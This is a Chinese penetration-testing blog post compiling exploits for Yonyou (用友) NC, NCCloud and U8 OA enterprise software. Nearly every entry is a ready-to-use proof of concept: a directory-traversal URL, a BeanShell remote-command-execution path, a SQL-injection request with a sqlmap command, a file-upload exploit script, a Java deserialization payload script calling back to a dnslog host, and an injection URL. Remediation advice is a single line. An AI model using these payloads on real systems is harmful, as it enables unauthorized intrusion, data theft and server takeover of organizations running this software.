滲透測試 | 用友各種漏洞整理
VSole2021-07-12 15:13:31
介紹:前段時間參加攻防演練的時候,發現目標系統有很多都使用了用友的產品,故整理一篇關于用友漏洞的文章。
0x01 用友ERP-NC目錄遍歷漏洞
1.1 漏洞描述
用友ERP-NC存在目錄遍歷漏洞,攻擊者可以通過目錄遍歷獲取敏感文件信息
1.2 漏洞復現
poc:
/NCFindWeb?service=IPreAlertConfigService&filename=

0x02 用友NC bsh.servlet.BshServlet遠程命令執行漏洞
2.1 漏洞描述
用友NC bsh.servlet.BshServlet存在遠程命令執行漏洞,通過BeanShell執行遠程命令獲取服務器權限。
2.2 漏洞復現
poc:
/servlet/~ic/bsh.servlet.BshServlet

0x03 用友NCCloud FS文件管理SQL注入
3.1 漏洞描述
用友NCCloud FS文件管理登錄頁面對用戶名參數沒有過濾,存在SQL注入
3.2 漏洞復現
nccloud登錄界面:

文件服務器管理登錄頁面:
http://xxx.xxx.xxx.xxx/fs/

抓取登錄數據包:
GET /fs/console?username=admin&password=%2Bz3VgEDJpVuEHdRPPzbCFTCa9Q0sKLOZ5q4ZLhxjuok%3D HTTP/1.1 Host: xxx.xxx.xxx.xxx:xxxx User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Referer: http://xxx.xxx.xxx.xxx:xxxx/fs/ Cookie: JSESSIONID=1591C393D0A5D165A1D3FCBDE19E1426.server; JSESSIONID=923588EF04C38332C5E907DB6DCF1B00.server Upgrade-Insecure-Requests: 1
sqlmap跑注入:
sqlmap -r 1.txt -p username

0x04 用友NC 6.5未授權文件上傳漏洞
4.1 漏洞描述
用友NC6.5版本存在未授權文件上傳漏洞,攻擊者可以未授權上傳任意文件,進而獲取服務端控制權限。
4.2 漏洞復現
nccloud登錄頁面:

設置本地代理:

zsh運行腳本:(腳本來源于tools,禁止利用于非法用途。)
python3 nc.py -u http://xxx.xxx.xxx.xxx:xxxx/
burp抓取本地數據包,黃色標記部分修改為上傳的內容:

訪問返回的鏈接:

0x05 用友NC XbrlPersistenceServlet反序列化
5.1 漏洞描述
已知用友NC6.5版本存在反序列化漏洞,攻擊者可以執行系統命令,獲取服務端權限。
5.2 漏洞復現
(1)利用一
漏洞URL:
/service/~xbrl/XbrlPersistenceServlet
利用腳本:
import requests
import threadpool
import urllib3
import sys
import base64
ip = "x.x.x.x"
dnslog = "*****" #dnslog把字符串轉16進制替換該段,測試用的ceye.io可以回顯
data = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x73\x72\x00\x0c\x6a\x61\x76\x61\x2e\x6e\x65\x74\x2e\x55\x52\x4c\x96\x25\x37\x36\x1a\xfc\xe4\x72\x03\x00\x07\x49\x00\x08\x68\x61\x73\x68\x43\x6f\x64\x65\x49\x00\x04\x70\x6f\x72\x74\x4c\x00\x09\x61\x75\x74\x68\x6f\x72\x69\x74\x79\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x66\x69\x6c\x65\x71\x00\x7e\x00\x03\x4c\x00\x04\x68\x6f\x73\x74\x71\x00\x7e\x00\x03\x4c\x00\x08\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x71\x00\x7e\x00\x03\x4c\x00\x03\x72\x65\x66\x71\x00\x7e\x00\x03\x78\x70\xff\xff\xff\xff\x00\x00\x00\x50\x74\x00\x11"+dnslog+"\x3a\x38\x30\x74\x00\x00\x74\x00\x0e"+dnslog+"\x74\x00\x04\x68\x74\x74\x70\x70\x78\x74\x00\x18\x68\x74\x74\x70\x3a\x2f\x2f"+dnslog+"\x3a\x38\x30\x78"
uploadHeader={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"}
req = requests.post("http://+"ip"+/service/~xbrl/XbrlPersistenceServlet", headers=uploadHeader, verify=False, data=data, timeout=25)
print (req.text)
(2)利用二
usage:
java -jar nc6.5.jar [target] [command]

0x06 用友U8 OA``SQL注入漏洞
6.1 漏洞描述
用友U8 OA test.jsp文件存在SQL注入漏洞,由于與致遠OA使用相同的文件,于是存在了同樣的漏洞。
6.2 漏洞復現
登錄界面:

poc:
/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))


整改方案
升級到最新版本,時刻關注官網的補丁。
作者:goout
關注公眾號,后臺回復 『0712-用友』,獲取打包好的所有工具
VSole
網絡安全專家